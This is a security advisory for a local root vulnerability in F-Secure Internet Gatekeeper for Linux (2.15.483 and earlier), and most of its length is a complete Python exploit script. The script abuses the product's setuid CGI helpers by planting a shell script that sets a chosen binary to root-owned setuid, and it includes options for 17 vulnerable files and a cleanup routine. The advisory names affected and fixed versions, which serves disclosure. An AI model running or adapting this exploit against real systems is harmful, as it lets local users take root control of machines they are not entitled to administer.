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F-Secure Internet Gatekeeper Local Root (Exploit)
------------------------------------------------------------------------
SUMMARY
" <http://www.f-secure.com/> F-Secure Internet Gatekeeper is a
high-performance and fully automated antivirus and content filtering
solution for protecting corporate e-mail (SMTP) and web traffic (HTTP, FTP
over HTTP) at the Internet gateway."
Lack of proper input validation within F-Secure Internet Gatekeeper allow
local attackers to cause the program to execute arbitrary programs.
DETAILS
Vulnerable Systems:
* F-Secure Internet Gatekeeper for Linux version 2.15.483 and prior
Immune Systems:
* F-Secure Internet Gatekeeper for Linux version 2.15.484
Exploit:
#!/usr/bin/env python
#
# F-Secure Anti-Virus Internet Gatekeeper for Linux <2.15.484
# F-Secure Anti-Virus Linux Gateway <2.16 # added line 3-4 for references
/str0ke
#
#######################################
# fsigk_exp.py: F-Secure Internet Gatekeeper for Linux local root exploit
# acknowledgements: everyone in pure-elite and uDc.
#
# coded by: xavier at tigerteam.se [http://xavsec.blogspot.com]
#######################################
#######################################
# Make proper checks and import nessesary calls from modules.
#
try:
from sys import argv
except Exception:
print "the 'sys' module could not be loaded"
raise SystemExit
try:
from os import unlink, stat, error, symlink, system, chmod
except Exception:
print "the 'os' module could not be loaded"
raise SystemExit
try:
import getopt
except Exception:
print "the 'getopt' module could not be loaded"
raise SystemExit
#######################################
# Constants.
#
__program__ = argv[0]
__version__ = "0.1beta"
__author__ = "<xavier@tigerteam.se>"
__lastedit__ = "Thu Sep 22 23:18:39 EDT 2005"
__usage__ = """usage: %s [-options]
options:
--version show program's version number and exit.
-h, --help show this help message and exit.
-s, --suid file location to suid.
-d, --dir cgi directory.
-c, --clean cleans any left over files from the environment
creation.
-# enter numerical value of vulnerable file to exploit.
[list below]
1: ifconfig_suid.cgi | 2: reboot_suid.cgi | 3: proxy_suid.cgi
4: edittmpl_suid.cgi | 5: version_suid.cgi | 6: hostname_suid.cgi
7: gateway_suid.cgi | 8: halt_suid.cgi | 9: edituserdb_suid.cgi
10: htpasswd_suid.cgi | 11: pattern_up_suid.cgi | 12: license_suid.cgi
13: iptables_suid.cgi | 14: dns_suid.cgi | 15:
pattern_autoup_suid.cgi
16: spam_list_suid.cgi | 17: diag_suid.cgi""" % (__program__)
############################################
# Functions.
#
def _write(file, payload):
try:
open(file, 'w').write(payload)
chmod(file, 0100)
except Exception, err:
print ("[-] %s" % (err))
def _exists(path):
try:
stat(path)
except error:
return False
return True
def _handleopts():
for opt in argv[1:]:
if opt in ("-h", "--help"):
print "%s" % (__usage__),
raise SystemExit
if opt in ("-v", "--version"):
print "%s (%s)" % (__version__, __lastedit__),
raise SystemExit
_method_ = 'ifconfig_suid.cgi'
_file_ = 'ifconfig.cgi'
for opt in argv[1:]:
if opt == "-1":
_method_ = 'ifconfig_suid.cgi'
elif opt == "-2":
_method_ = 'reboot_suid.cgi'
_file_ = 'reboot.cgi'
elif opt == "-3":
_method_ = 'proxy_suid.cgi'
_file_ = 'proxy.cgi'
elif opt == "-4":
_method_ = 'edittmpl_suid.cgi'
_file_ = 'edittmpl.cgi'
elif opt == "-5":
_method_ = 'version_suid.cgi'
_file_ = 'version.cgi'
elif opt == "-6":
_method_ = 'hostname_suid.cgi'
_file_ = 'hostname.cgi'
elif opt == "-7":
_method_ = 'gateway_suid.cgi'
_file_ = 'gateway.cgi'
elif opt == "-8":
_method_ = 'halt_suid.cgi'
_file_ = 'halt.cgi'
elif opt == "-9":
_method_ = 'edituserdb_suid.cgi'
_file_ = 'edituserdb.cgi'
elif opt == "-10":
_method_ = 'htpasswd_suid.cgi'
_file_ = 'htpasswd.cgi'
elif opt == "-11":
_method_ = 'pattern_up_suid.cgi'
_file_ = 'pattern_up.cgi'
elif opt == "-12":
_method_ = 'license_suid.cgi'
_file_ = 'license.cgi'
elif opt == "-13":
_method_ = 'iptables_suid.cgi'
_file_ = 'iptables.cgi'
elif opt == "-14":
_method_ = 'dns_suid.cgi'
_file_ = 'dns.cgi'
elif opt == "-15":
_method_ = 'pattern_autoup_suid.cgi'
_file_ = 'pattern_autoup.cgi'
elif opt == "-16":
_method_ = 'spam_list_suid.cgi'
_file_ = 'spam_list.cgi'
elif opt == "-17":
_method_ = 'diag_suid.cgi'
_file_ = 'diag.cgi'
else:
pass
try:
opts = getopt.getopt(argv[1:], 'c1234567890s:d:', ['clean', \
'suid=', \
'dir='])[0]
except Exception, (err):
print "[-] %s" % (err),
raise SystemExit
_dir_ = None
_payload_ = None
_combine_ = None
for o, a in opts:
if o in ("-c", "--clean"):
_clean()
print "[*] done"
raise SystemExit
if o in ("-d", "--dir"):
if _exists(a):
_dir_ = a
else:
print "[-] unable to access the %s directory" % (_dir_),
raise SystemExit
if o in ("-s", "--suid"):
if _exists(a):
_payload_ = _suid(a)
else:
print "[-] unable to access binary."
raise SystemExit
if _dir_ == None:
print "[-] no directory was given [try -h for help menu]"
raise SystemExit
if _payload_ == None:
print "[-] enter binary to suid [try -h for help menu]"
raise SystemExit
_combined_ = "%s/%s" % (_dir_, _method_)
if not _exists(_combined_):
print "[-] method not possible, try another."
raise SystemExit
print "[*] creating environment..."
try:
symlink('%s/%s' % (_dir_, _method_), 'runbad')
_write(_file_, _payload_)
except Exception, err:
raise SystemExit
def _suid(file):
_suid_ = """#!/bin/sh
chown 0.0 %(file)s
chmod 4755 %(file)s
""" % (locals())
return _suid_
def _clean():
try:
files = ['runbad', 'ifconfig.cgi', 'reboot.cgi', 'proxy.cgi',
'edittmpl.cgi', 'version.cgi', 'hostname.cgi',
'gateway.cgi',
'halt.cgi', 'edituserdb.cgi', 'htpasswd.cgi',
'pattern_up.cgi',
'license.cgi', 'iptables.cgi', 'dns.cgi',
'pattern_autoup.cgi',
'spam_list.cgi', 'diag_suid.cgi']
for file in files:
if _exists(file): unlink(file)
except Exception, err:
print "[-] %s" % (err),
#######################################
# main() // main code.
#
def main():
try:
print "[INFO] F-Secure Internet Gatekeeper for Linux <=2.10-431
local exploit by %s" % (__author__)
print "[*] handling options, arguments..."
_handleopts()
print "[*] executing exploit..."
system('./runbad')
print "[*] cleaning..."
_clean()
print "[*] done... try executing the specified binary."
except KeyboardInterrupt:
print "[-] caught keyboard interuption"
raise SystemExit
except Exception, (err):
_clean()
raise SystemExit
if __name__ == '__main__': main()
#EoF
ADDITIONAL INFORMATION
The information has been provided by <mailto:xavier@tigerteam.se> Xavier
de Leon.
========================================
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